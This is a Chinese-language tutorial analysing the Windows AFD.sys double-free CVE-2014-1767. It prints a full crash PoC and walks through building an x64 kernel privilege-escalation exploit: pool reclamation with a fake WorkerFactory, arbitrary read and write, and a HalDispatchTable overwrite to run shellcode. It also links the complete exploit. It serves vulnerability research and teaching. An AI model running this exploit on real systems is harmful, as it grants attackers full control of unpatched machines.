Windows本地提權漏洞CVE-2014-1767分析及EXP編寫指導
簡介
1.1 寫作目的
這是我的第四篇CVE文章,相比前面三篇,我認為這篇文章研究的CVE漏洞,是最難,同時也是最值得學習的一個提權漏洞。盡管之前的漏洞也很優秀,但這個漏洞我認為是優秀者中的佼佼者。
我們要自己去構造內存數據,而且要精確到字節,要了解一些系統的機制,還要知道各種函數的反匯編用法,因此EXP里面的每一個數據都有其特定的含義,并非隨意而為,難度自然更大。我想這對提高我們的PWN水平有幫助,所以我寫下了這篇文章。
本文側重于介紹內存構造的思路,最后給出了調試結果。
1.2 概述
在2014年的Pwn2Own黑客大賽上,Siberas安全團隊利用CVE-2014-1767 Windows AFD.sys 雙重釋放漏洞進行內核提權,以此繞過windows8.1 平臺上的IE11沙箱,隨后該漏洞因此獲得2014年黑客奧斯卡的“最佳提權漏洞獎”。
后來,Siberas團隊在其官網公布了此漏洞的詳細細節及利用方法,它是AFD.sys驅動上的一處雙重釋放漏洞,通殺Wdinwos系統,影響較大。
1.3 非常重要的說明
針對這個漏洞我要說明的有以下幾點:
① 本文側重點在POC、EXP編寫,從逆向與調試的角度引領你分析、編寫POC、EXP;
② 本文是首篇針對該漏洞在x64平臺下的分析、編寫文章;
③ 全網最詳細POC、EXP的編寫說明;
④ EXP完全復用POC的代碼;
⑤ 上傳的EXP是我自己編寫的。
實驗環境為:win7_x64_sp1(7601)版本
POC分析
2.1 POC代碼
ULONG CalcLength(){ int BaseLength = 0x10000; unsigned __int16 VirtualAddress = 0x13371337; int FinalLength = 0x0; while (1) { FinalLength = ((BaseLength & 0xFFF) + ((unsigned __int16)VirtualAddress & 0xFFF) + 0xFFF) >> 0xC; FinalLength = 8 * (FinalLength + (BaseLength>>0xC))+ 0x30; if (FinalLength == 0x100) { break; } else { BaseLength += 1; continue; } } return BaseLength;} int main(){ int nBottonRect = 0x2aaaaaa; while (true) { HRGN hrgn = CreateRoundRectRgn(0, 0, 1, nBottonRect, 1, 1); if (hrgn==NULL) { break; } printf("hrgn = %p", hrgn); } //這兒看IoAllocateMdl(ntoskrnl) DWORD length = CalcLength(); printf("Length = %x", length); DWORD virtualAddress = 0x13371337; static BYTE inbuf1[0x40]; memset(inbuf1, 0, sizeof(inbuf1)); *(ULONG_PTR*)(inbuf1 + 0x20) = virtualAddress; *(ULONG*)(inbuf1 + 0x28) = length; *(ULONG*)(inbuf1 + 0x3c) = 1; static BYTE inbuf2[0x18]; memset(inbuf2, 0, sizeof(inbuf2)); *(ULONG*)(inbuf2) = 1; *(ULONG*)(inbuf2 + 0x8) = 0x0AAAAAAA; WSADATA WSAData; SOCKET s; sockaddr_in sa; int ierr; WSAStartup(0x2, &WSAData); s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); memset(&sa, 0, sizeof(sa)); sa.sin_port = htons(135); sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1"); sa.sin_family = AF_INET; ierr = connect(s, (const struct sockaddr*)&sa, sizeof(sa)); DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x40, NULL, 0, NULL, NULL); DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x18, NULL, 0, NULL, NULL);}
2.2 POC運行結果

運行上面POC代碼,系統出現藍屏后的windbg調試結果見上圖(上圖并不是原始輸出,我把一些不重要的數據刪除了)。從第一個紅框可以看出:
① 這是一個雙重釋放漏洞;
② 雙重釋放的代碼在afd!AfdReturnTpinfo+0xe7。
我們先來看看afd!AfdReturnTpinfo+0xe7,是什么代碼:

可見,在afd!AfdReturnTpinfo+0xe1處,是IoFreeMdl函數,它是用來釋放Mdl指針的。那么,釋放完之后,有沒有對指針進行清零處理?我們來看看反編譯代碼:

根據上面分析可知,IoFreeMdl肯定被執行了兩次,那么,在后面我們進行分析時,可以在此處下斷點,看這塊內存是怎么變化的。現在,我們來看看,程序為什么會調用IoFreeMdl兩次。
2.3 漏洞產生的根本原因
漏洞是因為連續兩次釋放內存,由afd!AfdReturnTpinfo調用。
第一次是因為調用
DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x40, NULL, 0, NULL, NULL);
時,afd!afdTransmitFile+0x2CD調用MmProbeAndLockPages函數判斷的地址,是POC里面指定的0x13371337這個非法地址,所以會出現異常,如下圖所示:


第二次調用:
DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x18, NULL, 0, NULL, NULL);
因為POC里面指定的內存空間是0x0AAAAAAA*0x18,在afd!afdTransmitPackets中調用afd!AfdTliGetTpInfo,執行ExAllocatePoolwithQutaTag時失敗后,會跳到AfdReturnTpinfo函數執行,如下圖:

兩次進入異常處理函數,都會調用IoFreeMdl函數,從而導致指針雙重釋放。
x64平臺POC編寫指導
3.1 第一階段:消耗系統內存
int nBottonRect = 0x2aaaaaa;while (true){ HRGN hrgn = CreateRoundRectRgn(0, 0, 1, nBottonRect, 1, 1); if (hrgn==NULL) { break; } printf("hrgn = %p", hrgn); }
通過CreateRoundRectRgn函數消耗內存。至于為什么要消耗內存,可以先看2.3節,我在后面會做更詳細說明。
3.2 第二階段:構造Inbuff1
3.2.1 Inbuff1的輸入長度構造
POC里面有個函數CalcLength,它是用于計算輸入長度,用來控制分配內存空間大小的。現在,我們需要內存固定分配0x100字節大小的空間,至于為什么,我在后面說明,現在你只用知道,我們需要構造一個0x100大小的內存空間。
在afd!AfdTransmitFile中,nt!IoAllocateMdl函數第二個參數length就是我們輸入的參數,通過這個參數,就可以控制內存大小,見下圖:

現在,我們需要看看IoAllocateMdl是如何分配內存空間的,反編譯nt!IoAllocateMdl,可得:

我們的CalcLength函數,就是為了輸入Length,得到一個固定的內存0x100。基本思路是:
① 初始Length從0x10000開始;
② ViRtualAddress是非法地址0x13371337;
通過while(1)循環,查找使得分配內存為0x100的length,具體實現見代碼。
代碼實現為:
ULONG CalcLength(){int BaseLength = 0x10000;unsigned __int16 VirtualAddress = 0x13371337;int FinalLength = 0x0;while (1){ FinalLength = ((BaseLength & 0xFFF) + ((unsigned __int16)VirtualAddress & 0xFFF) + 0xFFF) >> 0xC; FinalLength = 8 * (FinalLength + (BaseLength>>0xC))+ 0x30; if (FinalLength == 0x100) { break; } else { BaseLength += 1; continue; } } return BaseLength;}
3.2.2 Inbuff1的參數構造
afd!afdTransmitFile和afd!afdTransmitPackets兩個函數的函數原型分別是:
__fastcall AfdTransmitFile(PIRP pIRP, PIO_STACK_LOCATION pIoStackLocation)__fastcall AfdTransmitPackets(PIRP pIrp, PIO_STACK_LOCATION pIoStackLocation)
第二個形參的定義為:
kd> dt _io_stack_locationntdll!_IO_STACK_LOCATION +0x000 MajorFunction : UChar +0x001 MinorFunction : UChar +0x002 Flags : UChar +0x003 Control : UChar +0x008 Parameters : //struct{// +0x008 ULONG OutputBufferLength;// +0x010 POINTER_ALIGNMENT InputBufferLength;// +0x018 POINTER_ALIGNMENT IoControlCode;// +0x020 Type3InputBuffer//} +0x028 DeviceObject : Ptr64 _DEVICE_OBJECT +0x030 FileObject : Ptr64 _FILE_OBJECT +0x038 CompletionRoutine : Ptr64 long +0x040 Context : Ptr64 Void
最重要的就是偏移0x20的Type3InputBuffer了,這就是我們傳入的inbuff1數據。但有個問題,在我們調用這個函數之前,傳入的inbuff1已經在棧里面了,現在參數的應用都類似這樣:
rsp+8c、rsp+78、rsp+70等等,我們就無法知道這些參數在inbuff1的位置。
但幸好,我們可以根據IoAlloctedMdll函數,很方便的定位length和VirtualAddress。因為IoAlloctedMdll的第一個形參、第二個形參是分別是地址、長度,這是已知的,那么我們就可以先定位length,再定位其他參數。
反編譯afd!AfdTransmitFile,分析后,如下圖:

由上圖可知:
① 因為第104行的判斷,所以inbuff1的長度至少為0x40;
② 先讓inbuff1有規律的等于一個值,輸入之后,斷點看length的數值,就可以知道length在buff1的位置,又知道length在rsp+0x78,現在VirtualAddress在rsp+0x70,那么,length偏移0x28,VirtualAdress就偏移0x20。
③ 第112行可知,v8由v45得來,v45在rsp+8C位置,也就是inbuff1的0x3C位置,v8等于1的時候,可以不進入112行的if判斷,從而執行正常流程。
所以有:
static BYTE inbuf1[0x40];memset(inbuf1, 0, sizeof(inbuf1));*(ULONG_PTR*)(inbuf1 + 0x20) = virtualAddress;*(ULONG*)(inbuf1 + 0x28) = length; *(ULONG*)(inbuf1 + 0x3c) = 1;
3.3 第三階段:構造Inbuff2
inbuff2是通過AfdTransmitPackets函數處理的,所以反編譯AfdTransmitPackets函數之后分析,如下圖:

從上圖可知:
① 第103行表明,輸入的inbuff2長度至少為0x18字節,所以我們定義的就是0x18字節;
② 由第114行可知,v7就是我們的inbuff2;
③ 由125行可知,inbuff2的第0個字節等于1,就不會進入if;
④ 由136行可知,輸入的v52是分配系數,分配的大小是0x18輸入長度,現在分配的長度是0xaaaaaaa018字節,而我們在第一階段就已經把內存消耗完,這里執行只會失敗。

綜上,可得:
static BYTE inbuf2[0x18];
memset(inbuf2, 0, sizeof(inbuf2));
(ULONG)(inbuf2) = 1;
(ULONG)(inbuf2 + 0x8) = 0x0AAAAAAA;
3.4 觸發漏洞
最后,觸發漏洞函數為:
DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x40, NULL, 0, NULL, NULL);DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x18, NULL, 0, NULL, NULL);
控制碼為0x1207F的DeviceIoControl 函數執行之后,會因為地址異常執行nt!IoFreeMdl,釋放一次指針;控制碼為0x120C3的DeviceIoControl 函數執行之后,又會因為異常執行nt!IoFreeMdl,再釋放一次指針,從而觸發漏洞。四
x64平臺EXP編寫指導
4.1 基本思路
調用控制碼為0x1207F的函數觸發異常釋放pool后,創建一個對象占用這個釋放的pool,然后再調用控制碼為0x120C3的函數,觸發異常后再次釋放這個pool,最后再把這個pool的數據賦值成假數據,但指向這個pool的指針,我們已經能夠控制了,具體分析如下。
第一步:構造FakeWorkerFactory
先來看看構造的代碼:
const DWORD FakeObjSize = 0x100; static BYTE FakeWorkerFactory[FakeObjSize]; memset(FakeWorkerFactory, 0, FakeObjSize); static BYTE ObjHead[0x50] = { 0x00,0x00,0x00,0x00,0x08,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x16,0x00,0x08,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, }; memcpy(FakeWorkerFactory, ObjHead, 0x50); static BYTE a[0x18+0x4+0x4] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, //18個 0x00,0x00,0x00,0x00, //*(_QWORD *)Object + 0x18 0x00,0x00,0x00,0x00 }; PVOID *pFakeObj = (PVOID*)((ULONG_PTR)FakeWorkerFactory + 0x50); *pFakeObj = a; printf("object a : = %p", a); printf("pFakeObj = %p", pFakeObj);
至于為什么這樣寫,從4.1.1節開始說明。
4.1.1 windbg確認WorkFactory的大小
WorkerFactory占用空間的大小我們跟蹤這條鏈:
NtCreateWorkerFactory->ObpCreateObject->ObpAllocateObject-> ExAllocatePoolWithTag。
但是ObpCreateObject和ObpAllocateObject很多地方都有調用,如果這個時候一步一步通過函數執行過去,很麻煩,而且很容易出錯,你會得到錯誤的大小。調式的時候,可以這樣做:
A、首先打兩個斷點:
4: kd> bl
0 e Disable Clear fffff8000438c8fa 0001 (0001) nt!ObpAllocateObject+0x12a "r rdx;gc" 1 e Disable Clear fffff80004374b08 0001 (0001) nt!NtCreateWorkerFactory
B、然后運行exp,程序會斷在第1個點的NtCreateWorkerFactory。
C、然后繼續g,
1: kd> g
rdx=0000000000000100
rdx=00000000000004f8
rdx=0000000000000068
rdx=00000000000000a8
rdx=00000000000000a8
rdx=0000000000000068
rdx=00000000000000a8
第一個rdx就是自己申請的workfactory的大小0x100了。
這就是為什么我們在3.1.1要費盡心思構造pool為0x100的原因。
4.1.2 windbg確認WorkFactory的內存數據
你的實驗平臺如果跟我一樣,下面的斷點,你可以直接用:
kd> bl 0 d Enable Clear fffff800`01faab08 0001 (0001) nt!NtCreateWorkerFactory 1 d Enable Clear fffff800`01cb56d0 0001 (0001) nt!NtSetInformationWorkerFactory ".if(rdx==8){r rdx;r r9}.else{gc;}" 2 d Enable Clear fffff800`01cb5879 0001 (0001) nt!NtSetInformationWorkerFactory+0x1a6 3 d Enable Clear fffff800`01fc28fa 0001 (0001) nt!ObpAllocateObject+0x12a(這兒是NtCreateWorkerFactory的nt!ExAllocatePoolWithTag,看pool) 4 d Enable Clear fffff800`01faacc9 0001 (0001) nt!NtCreateWorkerFactory+0x1c1(這兒是createobject的下一句,看object)
首先,使能第3個和第4個斷點,在windbg里面斷下:可以看到:

由上圖,可以得到:
① object在workerfactory起始地址的偏移量。object在workerfactory起始地址偏移0x50處,0xfffffa8031092560是起始地址,0xfffffa8031092550是pool的header;
② 把objectHead的數據拷貝出來,作為我們構造EXP時的Fakeworkerfactory的數據;
然后,使能第1個斷點和第2個斷點,繼續運行,得到:

從上圖,可以得到:
① NtSetInformationWorkerFactory中object的pool是從ObReferenceObjectByHandleWithTag中得到的;
② 再分析NtCreateWorkerFactory可知,在NtCreateWorkerFactory時創建的pool數據,在NtSetInformationWorkerFactory時已經被覆蓋掉了。
數據是怎么被覆蓋的?用的是4.1.3介紹的nt!NtQueryEaFile函數。
4.1.3 覆蓋WorkFacroty內存數據
現在有個問題,我們構造的WorkFactory數據是在應用層,那么如何把數據拷貝到之前釋放的pool處呢?直接拷貝當然是不行的,畢竟,我們并不知道pool的地址。這個時候就可以調用一個關鍵的函數實現這個目的。這個函數就是NtQueryEaFile函數。
先來看看NtQueryEaFile函數的聲明:
NTSTATUS __stdcall NtQueryEaFile(HANDLE FileHandle,PIO_STATUS_BLOCK IoStatusBlock,PVOID Buffer, ULONG Length,BOOLEAN ReturnSingleEntry,PVOID EaList, ULONG EaListLength, PULONG EaIndex, BOOLEAN RestartScan)
我們調用的代碼為:
fpQueryEaFile(INVALID_HANDLE_VALUE, &IoStatus, NULL, 0, FALSE, FakeWorkerFactory, FakeObjSize , NULL, FALSE);
EaList --->FakeWorkerFactory
EaIndex---> FakeObjSize
再來看看fpQueryEaFile的反匯編代碼。

執行這個函數之后,偽造的數據就被拷貝到了之前釋放的pool處,然后根據相應的函數操作WorkFactory的內存,就可以實現任意地址寫和讀了。
但是這里有一個關鍵點,就是在函數的最后,它會釋放內存,如下圖:

這就意味著,我們操縱的,仍然是一個已經釋放的內存,所以需要注意調試的速度。如果pool被再次替換受控和釋放,我們的讀取和寫操作將失敗,結果將是錯誤檢查。所以讀取和寫入必須在每次之后立即完成。
這很關鍵,請牢牢記住。
4.2、第二步:任意寫實現
任意地址寫,是通過SetInformationWorkerFactory函數實現的,原理如下圖:

在第175行,傳入handle,通過ObReferenceObjectByHandleWithTag函數索引,就可以得到object,這個object就是我們代碼里面的變量a。在NtSetInformationWorkFactory函數里面,任意寫是這行代碼:
*(_DWORD *)(*(_QWORD *)(*(_QWORD *)Object + 0x18i64) + 0x2Ci64) = v64;
而我們在執行選擇NtSetInformationWorkerFactory時,選擇的是WorkerFactoryAdjustThreadGoal(0x8),等于8,會直接運行到NtSetInformationWorkerFactory的655行,然后會執行任意地址寫。也就是說,如果我們需要在目標地址kHalDsipatchTableQueryAddr寫入shellcode地址,那么,就需要讓
*(_DWORD *)(*(_QWORD *)(*(_QWORD *)Object + 0x18i64) + 0x2Ci64) = shellcode地址高四位*(_DWORD *)(*(_QWORD *)(*(_QWORD *)Object + 0x18i64) + 0x2Ci64) = shellcode地址低四位
這就意味著:
(_QWORD )((_QWORD )Object + 0x18i64) + 0x2Ci64等于kHalDsipatchTable地址,那么,當系統調用該函數賦值的時候,就會把shellcode地址高四位或低四位寫入HalDsipatchTable。所以,寫入shellcode地址時,需要把高四位和第四位分開寫:
*(_QWORD *)(*(_QWORD *)Object + 0x18i64) = kHalDsipatchTable – 0x2C (低4位)*(_QWORD *)(*(_QWORD *)Object + 0x18i64) = kHalDsipatchTable – 0x2C + 4 (高4位)
正好對應我們的代碼:
*(PVOID*)(a + 0x18) = (PVOID)(kHalDsipatchTableQueryAddr - 0x2C);*(PVOID*)(a + 0x18) = (PVOID)(kHalDsipatchTableQueryAddr - 0x2C + 0x04);
構造完畢之后,就可以把shellcode的地址寫入了,EXP代碼如下:
static ULONG_PTR ShotAddress = (ULONG_PTR)ShellCode; DWORD what_write2 = ShotAddress >> 32 & 0xffffffff; DWORD what_write1 = ShotAddress & 0xffffffff; fpSetInformationWorkerFactory(hWorkerFactory, WorkerFactoryAdjustThreadGoal, &what_write1, 0x4);fpSetInformationWorkerFactory(hWorkerFactory, WorkerFactoryAdjustThreadGoal, &what_write2, 0x4);上面fpSetInformationWorkerFactory函數第二個形參和第4個形參的選擇分別是WorkerFactoryAdjustThreadGoal(0x8)、0x4,原因如下:

4.3 第三步:任意讀實現
任意地址讀,是通過NtQueryInformationWorkerFactory函數實現的,原理如下圖:

由上圖可知:
① 輸入的內存長度必須是0x78;
② 選擇的讀取地址是(QWORD*)object+0x10;
③ 第二個參數必須等于7,也就是要等于WorkerFactoryBasicInformation。
現在我們來看第81行代碼,是這樣寫的:
Src[11] = *(_QWORD *)(v14[0x10] + 0x180i64);
所以在構造object的時候,目標地址需要減去0x180,寫為:
*(ULONG_PTR*)(pFakeObj + 0x10) = (ULONG_PTR)kHalDsipatchTable + sizeof(PVOID) - 0x180 ;//然后構造fpQueryInformationWorkerFactory為:static BYTE kernelRetMem[0x78];memset(kernelRetMem, 0, sizeof(kernelRetMem));fpQueryInformationWorkerFactory(hWorkerFactory, WorkerFactoryBasicInformation,(0x7) kernelRetMem, 0x78, NULL);kfpHaliQuerySystemInformation = *(PVOID*)(kernelRetMem + 8 * 0xB);
調試數據
斷點選擇在pool申請和釋放的地方,斷點為:
0 e Disable Clear fffff880`05161581 e 1 0001 (0001) afd!AfdReturnTpInfo+0xe11 e Disable Clear fffff800`0432dfe1 e 1 0001 (0001) nt!NtQueryEaFile+0x171
第一次執行IoFreeMdl前的目標內存,見下圖:

第一次執行IoFreeMdl后和第二次執行IoFreeMdl前的目標內存見下圖:

第二次執行IoFreeMdl后的目標內存見下圖:

NtQueryEaFile函數拷貝內存時的目標內存,見下圖:

緩解措施
在AfdReturnTpInfo中,把TpInfoElementCount清零了,如果Count等于0的時候,就不進行釋放操作。見下圖:

提權結果

代碼
CVE-2014-1767的EXP代碼鏈接(https://github.com/ExploitCN/CVE-2014-1767-EXP-PAPER)
這個鏈接有兩個文件,一個是C版本的,一個是python版本的,其中C版本的是EXP,python版本的是POC。
我沒有上傳C版本的POC,因為把EXP中創建WorkerFactory代碼刪除,就直接可以得到POC代碼了。